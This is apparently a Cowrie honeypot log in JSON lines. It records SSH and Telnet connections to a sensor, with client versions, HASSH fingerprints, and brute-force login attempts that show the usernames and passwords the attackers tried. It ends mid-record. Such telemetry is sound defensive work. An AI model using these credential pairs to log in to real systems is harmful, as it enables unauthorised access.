{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:19:06.556650Z","src_ip":"103.77.175.15","session":"2b5a12ecccea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hi23mjx3wh","message":"login attempt [root/hi23mjx3wh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:19:07.321930Z","src_ip":"103.77.175.15","session":"2b5a12ecccea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:19:08.579880Z","src_ip":"103.77.175.15","session":"2b5a12ecccea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"146.70.245.157","src_port":48848,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c3556e3b83d","protocol":"ssh","message":"New connection: 146.70.245.157:48848 (159.203.135.109:22) [session: 5c3556e3b83d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:19:13.251346Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:19:13.260021Z","src_ip":"146.70.245.157","session":"5c3556e3b83d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:19:13.563831Z","src_ip":"146.70.245.157","session":"5c3556e3b83d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user10","password":"user10","message":"login attempt [user10/user10] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:19:13.961887Z","src_ip":"146.70.245.157","session":"5c3556e3b83d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:19:15.105964Z","src_ip":"146.70.245.157","session":"5c3556e3b83d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.197.186.7","src_port":49325,"dst_ip":"159.203.135.109","dst_port":22,"session":"88e2c9b18e0d","protocol":"ssh","message":"New connection: 223.197.186.7:49325 (159.203.135.109:22) [session: 88e2c9b18e0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:19:17.474389Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:19:17.479767Z","src_ip":"223.197.186.7","session":"88e2c9b18e0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:19:17.718241Z","src_ip":"223.197.186.7","session":"88e2c9b18e0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"opengate","message":"login attempt [root/opengate] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:19:18.656652Z","src_ip":"223.197.186.7","session":"88e2c9b18e0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:19:19.875060Z","src_ip":"223.197.186.7","session":"88e2c9b18e0d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":45096,"dst_ip":"10.17.0.5","dst_port":23,"session":"37392623eb34","protocol":"telnet","message":"New connection: 178.128.93.180:45096 (10.17.0.5:23) [session: 37392623eb34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:19:39.820073Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":60730,"dst_ip":"10.17.0.5","dst_port":22,"session":"137000c6101b","protocol":"ssh","message":"New connection: 37.233.85.71:60730 (10.17.0.5:22) [session: 137000c6101b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:19:50.469400Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:19:50.475026Z","src_ip":"37.233.85.71","session":"137000c6101b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:19:50.576170Z","src_ip":"37.233.85.71","session":"137000c6101b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vfvekbxrf","message":"login attempt [root/vfvekbxrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:19:50.877794Z","src_ip":"37.233.85.71","session":"137000c6101b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:19:51.980795Z","src_ip":"37.233.85.71","session":"137000c6101b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.6.35.235","src_port":48402,"dst_ip":"159.203.135.109","dst_port":22,"session":"a2a992abb309","protocol":"ssh","message":"New connection: 20.6.35.235:48402 (159.203.135.109:22) [session: a2a992abb309]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:20:01.507484Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:20:02.051869Z","src_ip":"20.6.35.235","session":"a2a992abb309","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:20:04.238970Z","src_ip":"20.6.35.235","session":"a2a992abb309","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:20:07.870001Z","src_ip":"20.6.35.235","session":"a2a992abb309","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.6","message":"Connection lost after 7.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:20:09.112036Z","src_ip":"20.6.35.235","session":"a2a992abb309","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.174.185","src_port":58634,"dst_ip":"159.203.135.109","dst_port":22,"session":"75724f7a6a28","protocol":"ssh","message":"New connection: 167.172.174.185:58634 (159.203.135.109:22) [session: 75724f7a6a28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:20:13.109153Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:20:13.119010Z","src_ip":"167.172.174.185","session":"75724f7a6a28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:20:13.210759Z","src_ip":"167.172.174.185","session":"75724f7a6a28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:20:13.607239Z","src_ip":"167.172.174.185","session":"75724f7a6a28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.52.246.233","src_port":13326,"dst_ip":"159.203.135.109","dst_port":22,"session":"b8ef11127174","protocol":"ssh","message":"New connection: 34.52.246.233:13326 (159.203.135.109:22) [session: b8ef11127174]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:20:14.314020Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Fingerprintx-SSH2","message":"Remote SSH version: SSH-2.0-Fingerprintx-SSH2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:20:14.397441Z","src_ip":"34.52.246.233","session":"b8ef11127174","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.72866702079773,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:20:14.548639Z","src_ip":"178.128.93.180","session":"37392623eb34","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.52.246.233","src_port":13336,"dst_ip":"159.203.135.109","dst_port":22,"session":"de5f915687ff","protocol":"ssh","message":"New connection: 34.52.246.233:13336 (159.203.135.109:22) [session: de5f915687ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:20:14.556351Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:20:14.564501Z","src_ip":"34.52.246.233","session":"de5f915687ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dde267e50f82fcc16a7e1e7b59b8af71","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256@libssh.org,curve25519-sha256,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256@libssh.org","curve25519-sha256","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: dde267e50f82fcc16a7e1e7b59b8af71","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:20:14.666626Z","src_ip":"34.52.246.233","session":"de5f915687ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:20:15.212527Z","src_ip":"167.172.174.185","session":"75724f7a6a28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":58164,"dst_ip":"159.203.135.109","dst_port":23,"session":"843c7039c93d","protocol":"telnet","message":"New connection: 69.4.83.194:58164 (159.203.135.109:23) [session: 843c7039c93d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:20:15.728076Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:20:15.959349Z","src_ip":"34.52.246.233","session":"de5f915687ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4e066189c3bbeec38c99b1855113733a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 4e066189c3bbeec38c99b1855113733a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:20:16.041267Z","src_ip":"34.52.246.233","session":"b8ef11127174","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:20:16.052460Z","src_ip":"34.52.246.233","session":"de5f915687ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":35516,"dst_ip":"10.17.0.5","dst_port":22,"session":"68fa5c5bfe08","protocol":"ssh","message":"New connection: 103.149.170.125:35516 (10.17.0.5:22) [session: 68fa5c5bfe08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:20:17.052569Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:20:17.059618Z","src_ip":"103.149.170.125","session":"68fa5c5bfe08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"ma